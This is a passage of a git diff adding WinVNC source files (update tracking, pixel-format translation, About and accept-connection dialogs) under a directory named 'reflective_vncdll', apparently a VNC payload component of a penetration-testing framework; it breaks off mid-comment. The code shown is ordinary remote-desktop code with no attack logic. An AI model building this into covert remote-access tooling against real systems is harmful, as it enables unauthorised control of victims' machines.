Region2D copied_clipped = copied.intersect(cliprgn); + Region2D changed_clipped = changed.intersect(cliprgn); + copied = copied.subtract(copied_clipped); + changed = changed.subtract(changed_clipped); + if (!copied_clipped.is_empty()) { + info.add_copied(copied_clipped, copy_delta); + } + if (!changed_clipped.is_empty()) + info.add_changed(changed_clipped); +} + +void SimpleUpdateTracker::get_update(UpdateInfo &info) const { + info.copied.clear(); + info.changed.clear(); + info.copy_delta = copy_delta; + Region2D copied_dest = copied.subtract(changed); + copied_dest.get_rects(info.copied, copy_delta.x <= 0, copy_delta.y <= 0); + changed.get_rects(info.changed, 1, 1); +} +void SimpleUpdateTracker::get_update(UpdateTracker &to) const { + if (!copied.is_empty()) { + to.add_copied(copied, copy_delta); + } + if (!changed.is_empty()) { + to.add_changed(changed); + } +} + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/rfbUpdateTracker.h b/external/source/reflective_vncdll/winvnc/winvnc/rfbUpdateTracker.h new file mode 100644 index 0000000000..17a972e4e9 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/rfbUpdateTracker.h @@ -0,0 +1,97 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +#ifndef __RFB_UPDATETRACKER_INCLUDED__ +#define __RFB_UPDATETRACKER_INCLUDED__ + +#include "rfbRect.h" +#include "rfbRegion.h" + +namespace rfb { + + struct UpdateInfo { + RectVector copied; + Point copy_delta; + RectVector changed; + }; + + class UpdateTracker { + public: + UpdateTracker() {}; + virtual ~UpdateTracker() {}; + + virtual void add_changed(const Region2D ®ion) = 0; + virtual void add_copied(const Region2D &dest, const Point &delta) = 0; + }; + + class ClippedUpdateTracker : public UpdateTracker { + public: + ClippedUpdateTracker(UpdateTracker &child_) : child(child_) {}; + ClippedUpdateTracker(UpdateTracker &child_, + const Region2D &cliprgn_) : child(child_), cliprgn(cliprgn_) {}; + virtual ~ClippedUpdateTracker() {}; + + virtual void set_clip_region(const Region2D cliprgn_) {cliprgn = cliprgn_;}; + + virtual void add_changed(const Region2D ®ion); + virtual void add_copied(const Region2D &dest, const Point &delta); + protected: + UpdateTracker &child; + Region2D cliprgn; + }; + + class SimpleUpdateTracker : public UpdateTracker { + public: + SimpleUpdateTracker(bool use_copyrect=false); + virtual ~SimpleUpdateTracker(); + + virtual void enable_copyrect(bool enable) {copy_enabled=enable;}; + + virtual void add_changed(const Region2D ®ion); + virtual void add_copied(const Region2D &dest, const Point &delta); + + // Fill the supplied UpdateInfo structure with update information + // Also removes the updates that are returned from the update tracker + virtual void flush_update(UpdateInfo &info, const Region2D &cliprgn); + virtual void flush_update(UpdateTracker &info, const Region2D &cliprgn); + + // Pass the current updates to the supplied tracker + // Does not affect internal state of this tracker + virtual void get_update(UpdateInfo &to) const; + virtual void get_update(UpdateTracker &to) const; + + // Get the changed/copied regions + virtual const Region2D& get_changed_region() const {return changed;}; + virtual const Region2D& get_copied_region() const {return copied;}; + + virtual bool is_empty() const {return changed.is_empty() && copied.is_empty();}; + + virtual void clear() {changed.clear(); copied.clear();}; + protected: + Region2D changed; + Region2D copied; + Point copy_delta; + bool copy_enabled; + }; + +}; + +#endif __RFB_UPDATETRACKER_INCLUDED__ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/stdhdrs.cpp b/external/source/reflective_vncdll/winvnc/winvnc/stdhdrs.cpp new file mode 100644 index 0000000000..e6146b5fd1 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/stdhdrs.cpp @@ -0,0 +1,28 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + +#include "stdhdrs.h" + +// Create the main log object +//VNCLog vnclog; \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/winvnc/stdhdrs.h b/external/source/reflective_vncdll/winvnc/winvnc/stdhdrs.h new file mode 100644 index 0000000000..c69e2cfba3 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/stdhdrs.h @@ -0,0 +1,65 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + +#define WIN32_LEAN_AND_MEAN +#define STRICT + +#include +#include +#include + +#include +#include +#include +#include + +// LOGGING SUPPORT + +#include "vnclog.h" +extern VNCLog vnclog; + +// No logging at all +#define LL_NONE 0 +// Log server startup/shutdown +#define LL_STATE 0 +// Log connect/disconnect +#define LL_CLIENTS 1 +// Log connection errors (wrong pixfmt, etc) +#define LL_CONNERR 0 +// Log socket errors +#define LL_SOCKERR 4 +// Log internal errors +#define LL_INTERR 0 + +// Log internal warnings +#define LL_INTWARN 8 +// Log internal info +#define LL_INTINFO 9 +// Log socket errors +#define LL_SOCKINFO 10 +// Log everything, including internal table setup, etc. +#define LL_ALL 10 + +// Macros for sticking in the current file name +#define VNCLOG(s) (__FILE__ " : " s) diff --git a/external/source/reflective_vncdll/winvnc/winvnc/tableinitcmtemplate.cpp b/external/source/reflective_vncdll/winvnc/winvnc/tableinitcmtemplate.cpp new file mode 100644 index 0000000000..6104ccc1a9 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/tableinitcmtemplate.cpp @@ -0,0 +1,93 @@ +/* + * tableinitcmtemplate.c - template for initialising lookup tables for + * translation from a colour map to true colour. + * + * This file shouldn't be compiled. It is included multiple times by + * translate.c, each time with a different definition of the macro OUT. + * For each value of OUT, this file defines a function which allocates an + * appropriately sized lookup table and initialises it. + * + * I know this code isn't nice to read because of all the macros, but + * efficiency is important here. + */ + +#if !defined(OUT) +#error "This file shouldn't be compiled." +#error "It is included as part of translate.c" +#endif + +#define OUT_T CONCAT2E(CARD,OUT) +#define SwapOUT(x) CONCAT2E(Swap,OUT) (x) +#define rfbInitColourMapSingleTableOUT \ + CONCAT2E(rfbInitColourMapSingleTable,OUT) + +// THIS CODE HAS BEEN MODIFIED FROM THE ORIGINAL UNIX SOURCE +// TO WORK FOR WINVNC. THE PALETTE SHOULD REALLY BE RETRIEVED +// FROM THE VNCDESKTOP OBJECT, RATHER THAN FROM THE OS DIRECTLY + +static void +rfbInitColourMapSingleTableOUT (char **table, + rfbPixelFormat *in, + rfbPixelFormat *out) +{ + //vnclog.Print(LL_ALL, VNCLOG("rfbInitColourMapSingleTable called\n")); + + // ALLOCATE SPACE FOR COLOUR TABLE + + int nEntries = 1 << in->bitsPerPixel; + + // Allocate the table + if (*table) free(*table); + *table = (char *)malloc(nEntries * sizeof(OUT_T)); + if (*table == NULL) + { + //vnclog.Print(LL_INTERR, VNCLOG("failed to allocate translation table\n")); + return; + } + + // Obtain the system palette + HDC hDC = GetDC(NULL); + PALETTEENTRY palette[256]; + UINT entries = ::GetSystemPaletteEntries(hDC, 0, 256, palette); + //vnclog.Print(LL_INTINFO, VNCLOG("got %u palette entries\n"), GetLastError()); + ReleaseDC(NULL, hDC); + + // - Set the rest of the palette to something nasty but usable + unsigned int i; + for (i=entries;i<256;i++) { + palette[i].peRed = i % 2 ? 255 : 0; + palette[i].peGreen = i/2 % 2 ? 255 : 0; + palette[i].peBlue = i/4 % 2 ? 255 : 0; + } + + // COLOUR TRANSLATION + + // We now have the colour table intact. Map it into a translation table + int r, g, b; + OUT_T *t = (OUT_T *)*table; + + for (i = 0; i < nEntries; i++) + { + // Split down the RGB data + r = palette[i].peRed; + g = palette[i].peGreen; + b = palette[i].peBlue; + + // Now translate it + t[i] = ((((r * out->redMax + 127) / 255) << out->redShift) | + (((g * out->greenMax + 127) / 255) << out->greenShift) | + (((b * out->blueMax + 127) / 255) << out->blueShift)); +#if (OUT != 8) + if (out->bigEndian != in->bigEndian) + { + t[i] = SwapOUT(t[i]); + } +#endif + } + + //vnclog.Print(LL_ALL, VNCLOG("rfbInitColourMapSingleTable done\n")); +} + +#undef OUT_T +#undef SwapOUT +#undef rfbInitColourMapSingleTableOUT diff --git a/external/source/reflective_vncdll/winvnc/winvnc/tableinittctemplate.cpp b/external/source/reflective_vncdll/winvnc/winvnc/tableinittctemplate.cpp new file mode 100644 index 0000000000..f1c3b4322f --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/tableinittctemplate.cpp @@ -0,0 +1,122 @@ +/* + * tableinittctemplate.c - template for initialising lookup tables for + * truecolour to truecolour translation. + * + * This file shouldn't be compiled. It is included multiple times by + * translate.c, each time with a different definition of the macro OUT. + * For each value of OUT, this file defines two functions for initialising + * lookup tables. One is for truecolour translation using a single lookup + * table, the other is for truecolour translation using three separate + * lookup tables for the red, green and blue values. + * + * I know this code isn't nice to read because of all the macros, but + * efficiency is important here. + */ + +#if !defined(OUT) +#error "This file shouldn't be compiled." +#error "It is included as part of translate.c" +#endif + +#define OUT_T CONCAT2E(CARD,OUT) +#define SwapOUT(x) CONCAT2E(Swap,OUT) (x) +#define rfbInitTrueColourSingleTableOUT \ + CONCAT2E(rfbInitTrueColourSingleTable,OUT) +#define rfbInitTrueColourRGBTablesOUT CONCAT2E(rfbInitTrueColourRGBTables,OUT) +#define rfbInitOneRGBTableOUT CONCAT2E(rfbInitOneRGBTable,OUT) + +static void +rfbInitOneRGBTableOUT (OUT_T *table, int inMax, int outMax, int outShift, + int swap); + + +/* + * rfbInitTrueColourSingleTable sets up a single lookup table for truecolour + * translation. + */ + +static void +rfbInitTrueColourSingleTableOUT (char **table, rfbPixelFormat *in, + rfbPixelFormat *out) +{ + int i; + int inRed, inGreen, inBlue, outRed, outGreen, outBlue; + OUT_T *t; + int nEntries = 1 << in->bitsPerPixel; + + if (*table) free(*table); + *table = (char *)malloc(nEntries * sizeof(OUT_T)); + if (table == NULL) return; + t = (OUT_T *)*table; + + for (i = 0; i < nEntries; i++) { + inRed = (i >> in->redShift) & in->redMax; + inGreen = (i >> in->greenShift) & in->greenMax; + inBlue = (i >> in->blueShift) & in->blueMax; + + outRed = (inRed * out->redMax + in->redMax / 2) / in->redMax; + outGreen = (inGreen * out->greenMax + in->greenMax / 2) / in->greenMax; + outBlue = (inBlue * out->blueMax + in->blueMax / 2) / in->blueMax; + + t[i] = ((outRed << out->redShift) | + (outGreen << out->greenShift) | + (outBlue << out->blueShift)); +#if (OUT != 8) + if (out->bigEndian != in->bigEndian) { + t[i] = SwapOUT(t[i]); + } +#endif + } +} + + +/* + * rfbInitTrueColourRGBTables sets up three separate lookup tables for the + * red, green and blue values. + */ + +static void +rfbInitTrueColourRGBTablesOUT (char **table, rfbPixelFormat *in, + rfbPixelFormat *out) +{ + OUT_T *redTable; + OUT_T *greenTable; + OUT_T *blueTable; + + if (*table) free(*table); + *table = (char *)malloc((in->redMax + in->greenMax + in->blueMax + 3) + * sizeof(OUT_T)); + redTable = (OUT_T *)*table; + greenTable = redTable + in->redMax + 1; + blueTable = greenTable + in->greenMax + 1; + + rfbInitOneRGBTableOUT (redTable, in->redMax, out->redMax, + out->redShift, (out->bigEndian != in->bigEndian)); + rfbInitOneRGBTableOUT (greenTable, in->greenMax, out->greenMax, + out->greenShift, (out->bigEndian != in->bigEndian)); + rfbInitOneRGBTableOUT (blueTable, in->blueMax, out->blueMax, + out->blueShift, (out->bigEndian != in->bigEndian)); +} + +static void +rfbInitOneRGBTableOUT (OUT_T *table, int inMax, int outMax, int outShift, + int swap) +{ + int i; + int nEntries = inMax + 1; + + for (i = 0; i < nEntries; i++) { + table[i] = ((i * outMax + inMax / 2) / inMax) << outShift; +#if (OUT != 8) + if (swap) { + table[i] = SwapOUT(table[i]); + } +#endif + } +} + +#undef OUT_T +#undef SwapOUT +#undef rfbInitTrueColourSingleTableOUT +#undef rfbInitTrueColourRGBTablesOUT +#undef rfbInitOneRGBTableOUT diff --git a/external/source/reflective_vncdll/winvnc/winvnc/tabletranstemplate.cpp b/external/source/reflective_vncdll/winvnc/winvnc/tabletranstemplate.cpp new file mode 100644 index 0000000000..a50be5494e --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/tabletranstemplate.cpp @@ -0,0 +1,96 @@ +/* + * tabletranstemplate.c - template for translation using lookup tables. + * + * This file shouldn't be compiled. It is included multiple times by + * translate.c, each time with different definitions of the macros IN and OUT. + * + * For each pair of values IN and OUT, this file defines two functions for + * translating a given rectangle of pixel data. One uses a single lookup + * table, and the other uses three separate lookup tables for the red, green + * and blue values. + * + * I know this code isn't nice to read because of all the macros, but + * efficiency is important here. + */ + +#if !defined(IN) || !defined(OUT) +#error "This file shouldn't be compiled." +#error "It is included as part of translate.c" +#endif + +#define IN_T CONCAT2E(CARD,IN) +#define OUT_T CONCAT2E(CARD,OUT) +#define rfbTranslateWithSingleTableINtoOUT \ + CONCAT4E(rfbTranslateWithSingleTable,IN,to,OUT) +#define rfbTranslateWithRGBTablesINtoOUT \ + CONCAT4E(rfbTranslateWithRGBTables,IN,to,OUT) + +/* + * rfbTranslateWithSingleTableINtoOUT translates a rectangle of pixel data + * using a single lookup table. + */ + +static void +rfbTranslateWithSingleTableINtoOUT (char *table, rfbPixelFormat *in, + rfbPixelFormat *out, + char *iptr, char *optr, + int bytesBetweenInputLines, + int width, int height) +{ + IN_T *ip = (IN_T *)iptr; + OUT_T *op = (OUT_T *)optr; + int ipextra = bytesBetweenInputLines / sizeof(IN_T) - width; + OUT_T *opLineEnd; + OUT_T *t = (OUT_T *)table; + + while (height > 0) { + opLineEnd = op + width; + + while (op < opLineEnd) { + *(op++) = t[*(ip++)]; + } + + ip += ipextra; + height--; + } +} + + +/* + * rfbTranslateWithRGBTablesINtoOUT translates a rectangle of pixel data + * using three separate lookup tables for the red, green and blue values. + */ + +static void +rfbTranslateWithRGBTablesINtoOUT (char *table, rfbPixelFormat *in, + rfbPixelFormat *out, + char *iptr, char *optr, + int bytesBetweenInputLines, + int width, int height) +{ + IN_T *ip = (IN_T *)iptr; + OUT_T *op = (OUT_T *)optr; + int ipextra = bytesBetweenInputLines / sizeof(IN_T) - width; + OUT_T *opLineEnd; + OUT_T *redTable = (OUT_T *)table; + OUT_T *greenTable = redTable + in->redMax + 1; + OUT_T *blueTable = greenTable + in->greenMax + 1; + + while (height > 0) { + opLineEnd = op + width; + + while (op < opLineEnd) { + *(op++) = (redTable[(*ip >> in->redShift) & in->redMax] | + greenTable[(*ip >> in->greenShift) & in->greenMax] | + blueTable[(*ip >> in->blueShift) & in->blueMax]); + ip++; + } + ip += ipextra; + height--; + } +} + +#undef IN_T +#undef OUT_T +#undef rfbTranslateWithSingleTableINtoOUT +#undef rfbTranslateWithRGBTablesINtoOUT diff --git a/external/source/reflective_vncdll/winvnc/winvnc/translate.cpp b/external/source/reflective_vncdll/winvnc/winvnc/translate.cpp new file mode 100644 index 0000000000..20fefcd1f5 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/translate.cpp @@ -0,0 +1,137 @@ +/* + * translate.c - translate between different pixel formats + */ + +/* + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include "stdhdrs.h" + +#include "translate.h" +#include +#include "rfb.h" + +#define CONCAT2(a,b) a##b +#define CONCAT2E(a,b) CONCAT2(a,b) +#define CONCAT4(a,b,c,d) a##b##c##d +#define CONCAT4E(a,b,c,d) CONCAT4(a,b,c,d) + +#define OUT 8 +#include "tableinittctemplate.cpp" +#include "tableinitcmtemplate.cpp" +#define IN 8 +#include "tabletranstemplate.cpp" +#undef IN +#define IN 16 +#include "tabletranstemplate.cpp" +#undef IN +#define IN 32 +#include "tabletranstemplate.cpp" +#undef IN +#undef OUT + +#define OUT 16 +#include "tableinittctemplate.cpp" +#include "tableinitcmtemplate.cpp" +#define IN 8 +#include "tabletranstemplate.cpp" +#undef IN +#define IN 16 +#include "tabletranstemplate.cpp" +#undef IN +#define IN 32 +#include "tabletranstemplate.cpp" +#undef IN +#undef OUT + +#define OUT 32 +#include "tableinittctemplate.cpp" +#include "tableinitcmtemplate.cpp" +#define IN 8 +#include "tabletranstemplate.cpp" +#undef IN +#define IN 16 +#include "tabletranstemplate.cpp" +#undef IN +#define IN 32 +#include "tabletranstemplate.cpp" +#undef IN +#undef OUT + +rfbInitTableFnType rfbInitTrueColourSingleTableFns[3] = { + rfbInitTrueColourSingleTable8, + rfbInitTrueColourSingleTable16, + rfbInitTrueColourSingleTable32 +}; + +rfbInitTableFnType rfbInitColourMapSingleTableFns[3] = { + rfbInitColourMapSingleTable8, + rfbInitColourMapSingleTable16, + rfbInitColourMapSingleTable32 +}; + +rfbInitTableFnType rfbInitTrueColourRGBTablesFns[3] = { + rfbInitTrueColourRGBTables8, + rfbInitTrueColourRGBTables16, + rfbInitTrueColourRGBTables32 +}; + +rfbTranslateFnType rfbTranslateWithSingleTableFns[3][3] = { + { rfbTranslateWithSingleTable8to8, + rfbTranslateWithSingleTable8to16, + rfbTranslateWithSingleTable8to32 }, + { rfbTranslateWithSingleTable16to8, + rfbTranslateWithSingleTable16to16, + rfbTranslateWithSingleTable16to32 }, + { rfbTranslateWithSingleTable32to8, + rfbTranslateWithSingleTable32to16, + rfbTranslateWithSingleTable32to32 } +}; + +rfbTranslateFnType rfbTranslateWithRGBTablesFns[3][3] = { + { rfbTranslateWithRGBTables8to8, + rfbTranslateWithRGBTables8to16, + rfbTranslateWithRGBTables8to32 }, + { rfbTranslateWithRGBTables16to8, + rfbTranslateWithRGBTables16to16, + rfbTranslateWithRGBTables16to32 }, + { rfbTranslateWithRGBTables32to8, + rfbTranslateWithRGBTables32to16, + rfbTranslateWithRGBTables32to32 } +}; + + + +// rfbTranslateNone is used when no translation is required. + +void +rfbTranslateNone(char *table, rfbPixelFormat *in, rfbPixelFormat *out, + char *iptr, char *optr, int bytesBetweenInputLines, + int width, int height) +{ + int bytesPerOutputLine = width * (out->bitsPerPixel / 8); + + while (height > 0) { + memcpy(optr, iptr, bytesPerOutputLine); + iptr += bytesBetweenInputLines; + optr += bytesPerOutputLine; + height--; + } +} + diff --git a/external/source/reflective_vncdll/winvnc/winvnc/translate.h b/external/source/reflective_vncdll/winvnc/winvnc/translate.h new file mode 100644 index 0000000000..e2b2dfca4a --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/translate.h @@ -0,0 +1,79 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +/* translate.h - prototypes of functions in translate.cpp */ + +#ifndef TRANSLATE_H__ +#define TRANSLATE_H__ + +#include "stdhdrs.h" +#include "rfb.h" + +// Translate function prototype! +typedef void (*rfbTranslateFnType)(char *table, rfbPixelFormat *in, + rfbPixelFormat *out, + char *iptr, char *optr, + int bytesBetweenInputLines, + int width, int height); + +// Init function prototype! +typedef void (*rfbInitTableFnType)(char **table, rfbPixelFormat *in, + rfbPixelFormat *out); + + +// External translation stuff +extern void rfbTranslateNone(char *table, rfbPixelFormat *in, + rfbPixelFormat *out, + char *iptr, char *optr, + int bytesBetweenInputLines, + int width, int height); + +// Macro to compare pixel formats. +#define PF_EQ(x,y) \ + ((x.bitsPerPixel == y.bitsPerPixel) && \ + (x.depth == y.depth) && \ + (x.trueColour == y.trueColour) && \ + ((x.bigEndian == y.bigEndian) || (x.bitsPerPixel == 8)) && \ + (!x.trueColour || ((x.redMax == y.redMax) && \ + (x.greenMax == y.greenMax) && \ + (x.blueMax == y.blueMax) && \ + (x.redShift == y.redShift) && \ + (x.greenShift == y.greenShift) && \ + (x.blueShift == y.blueShift)))) + +// Translation functions themselves +extern rfbInitTableFnType rfbInitTrueColourSingleTableFns[]; +extern rfbInitTableFnType rfbInitColourMapSingleTableFns[]; +extern rfbInitTableFnType rfbInitTrueColourRGBTablesFns[]; +extern rfbTranslateFnType rfbTranslateWithSingleTableFns[3][3]; +extern rfbTranslateFnType rfbTranslateWithRGBTablesFns[3][3]; + +/* +extern Bool rfbSetTranslateFunction(rfbClientPtr cl); +extern void rfbSetClientColourMaps(int firstColour, int nColours); +extern Bool rfbSetClientColourMap(rfbClientPtr cl, int firstColour, + int nColours); +*/ + +#endif \ No newline at end of file diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncabout.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncabout.cpp new file mode 100644 index 0000000000..37be9fe43c --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncabout.cpp @@ -0,0 +1,123 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncAbout.cpp + +// Implementation of the About dialog! + +#include "stdhdrs.h" + +#include "WinVNC.h" +#include "vncAbout.h" + +// Constructor/destructor +vncAbout::vncAbout() +{ + m_dlgvisible = FALSE; +} + +vncAbout::~vncAbout() +{ +} + +// Initialisation +BOOL +vncAbout::Init() +{ + return TRUE; +} + +// Dialog box handling functions +void +vncAbout::Show(BOOL show) +{ + if (show) + { + if (!m_dlgvisible) + { + DialogBoxParam(hAppInstance, + MAKEINTRESOURCE(IDD_ABOUT), + NULL, + (DLGPROC) DialogProc, + (LONG) this); + } + } +} + +BOOL CALLBACK +vncAbout::DialogProc(HWND hwnd, + UINT uMsg, + WPARAM wParam, + LPARAM lParam ) +{ + // We use the dialog-box's USERDATA to store a _this pointer + // This is set only once WM_INITDIALOG has been recieved, though! + vncAbout *_this = (vncAbout *) GetWindowLong(hwnd, GWL_USERDATA); + + switch (uMsg) + { + + case WM_INITDIALOG: + { + // Retrieve the Dialog box parameter and use it as a pointer + // to the calling vncProperties object + SetWindowLong(hwnd, GWL_USERDATA, lParam); + _this = (vncAbout *) lParam; + + // Insert the build time information + extern char buildtime[]; + SetDlgItemText(hwnd, IDC_BUILDTIME, buildtime); + + // Show the dialog + SetForegroundWindow(hwnd); + + _this->m_dlgvisible = TRUE; + + return TRUE; + } + + case WM_COMMAND: + switch (LOWORD(wParam)) + { + + case IDCANCEL: + case IDOK: + // Close the dialog + EndDialog(hwnd, TRUE); + + _this->m_dlgvisible = FALSE; + + return TRUE; + } + + break; + + case WM_DESTROY: + EndDialog(hwnd, FALSE); + _this->m_dlgvisible = FALSE; + return TRUE; + } + return 0; +} diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncabout.h b/external/source/reflective_vncdll/winvnc/winvnc/vncabout.h new file mode 100644 index 0000000000..b87a962264 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncabout.h @@ -0,0 +1,58 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncAbout + +// Object implementing the About dialog for WinVNC. + +class vncAbout; + +#if (!defined(_WINVNC_VNCABOUT)) +#define _WINVNC_VNCABOUT + +// Includes +#include "stdhdrs.h" + +// The vncAbout class itself +class vncAbout +{ +public: + // Constructor/destructor + vncAbout(); + ~vncAbout(); + + // Initialisation + BOOL Init(); + + // The dialog box window proc + static BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam); + + // General + void Show(BOOL show); + + // Implementation + BOOL m_dlgvisible; +}; + +#endif // _WINVNC_VNCPROPERTIES diff --git a/external/source/reflective_vncdll/winvnc/winvnc/vncacceptdialog.cpp b/external/source/reflective_vncdll/winvnc/winvnc/vncacceptdialog.cpp new file mode 100644 index 0000000000..ac2474bfbc --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/vncacceptdialog.cpp @@ -0,0 +1,163 @@ +// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + + +// vncAcceptDialog.cpp: implementation of the vncAcceptDialog class, used +// to query whether or not to accept incoming connections. + +#include "stdhdrs.h" +#include "vncAcceptDialog.h" +#include "WinVNC.h" +#include "vncService.h" + +#include "resource.h" + +// Constructor + +vncAcceptDialog::vncAcceptDialog(UINT timeoutSecs, const char *ipAddress) +{ + m_timeoutSecs = timeoutSecs; + m_ipAddress = strdup(ipAddress); +} + +// Destructor + +vncAcceptDialog::~vncAcceptDialog() +{ + if (m_ipAddress) + free(m_ipAddress); +} + +// Routine called to activate the dialog and, once it's done, delete it + +BOOL vncAcceptDialog::DoDialog() +{ + int retVal = DialogBoxParam(hAppInstance, MAKEINTRESOURCE(IDD_ACCEPT_CONN), + NULL, (DLGPROC) vncAcceptDlgProc, (LONG) this); + delete this; + return retVal == IDACCEPT; +} + +// Callback function - handles messages sent to the dialog box + +BOOL CALLBACK vncAcceptDialog::vncAcceptDlgProc(HWND hwnd, + UINT uMsg, + WPARAM wParam, + LPARAM lParam) { + // This is a static method, so we don't know which instantiation we're + // 